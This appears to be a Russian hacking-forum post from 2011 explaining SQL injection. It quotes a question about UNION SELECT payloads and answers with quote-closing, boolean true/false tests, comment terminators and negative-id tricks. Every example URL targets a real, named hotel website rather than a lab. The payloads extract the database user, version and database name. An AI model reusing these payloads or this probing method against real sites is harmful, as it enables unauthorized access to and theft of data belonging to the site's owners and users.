Показать сообщение отдельно

  #6  
Старый 22.07.2011, 11:22
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Цитата:
Сообщение от heks  
Мне бы расписать почему при
http://www.riviera-crimea.com/detail.php?id=-425'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,co ncat_ws(0x3a,user(),version(),database()),15,16+--+
данные выводятся
http://www.riviera-crimea.com/detail.php?id=425+union+select+1,2,3,4,5,6,7,8,9,1 0,11,12,13,co ncat_ws(0x3a,user(),version(),database()),15,16+--+ (убираем минусили ковычку)
данные не выводятся
как узнать когда писать именно ковычку, минус и ковычку а когда просто ковычку
ну в статьях как бы всё расписано(даже если не написано и ты не можешь понять, то наверно надо изучать не с этого)

1. Ковычка используется при запросах вида

"SELECT * FROM table WHERE param='".$_GET['param']."'"

ковычкой мы закрываем предыдущую ковычку.

Проверить просто:

http://www.riviera-crimea.com/detail.php?id=421+and+1=1 - отображает

http://www.riviera-crimea.com/detail.php?id=421+and+1=2 - отображает

значит мы не влияем на запрос, т. к. мы должны были получить пустой результат 421+and+1=2 (true and false = false)

"SELECT * FROM table WHERE param='421 and 1=2'"

2. С кавычкой

http://www.riviera-crimea.com/detail.php?id=421'+and+1=1--+ - отображает

http://www.riviera-crimea.com/detail.php?id=421'+and+1=2--+ - не отображает

значит запрос составлен верно

"SELECT * FROM table WHERE param='421' and 1=2--+'"

3. -421 это то вместо чего я использую 421 and 1=2(что как и -421 возвращает пустой запрос и можно вписать свой через union select)
 
Ответить с цитированием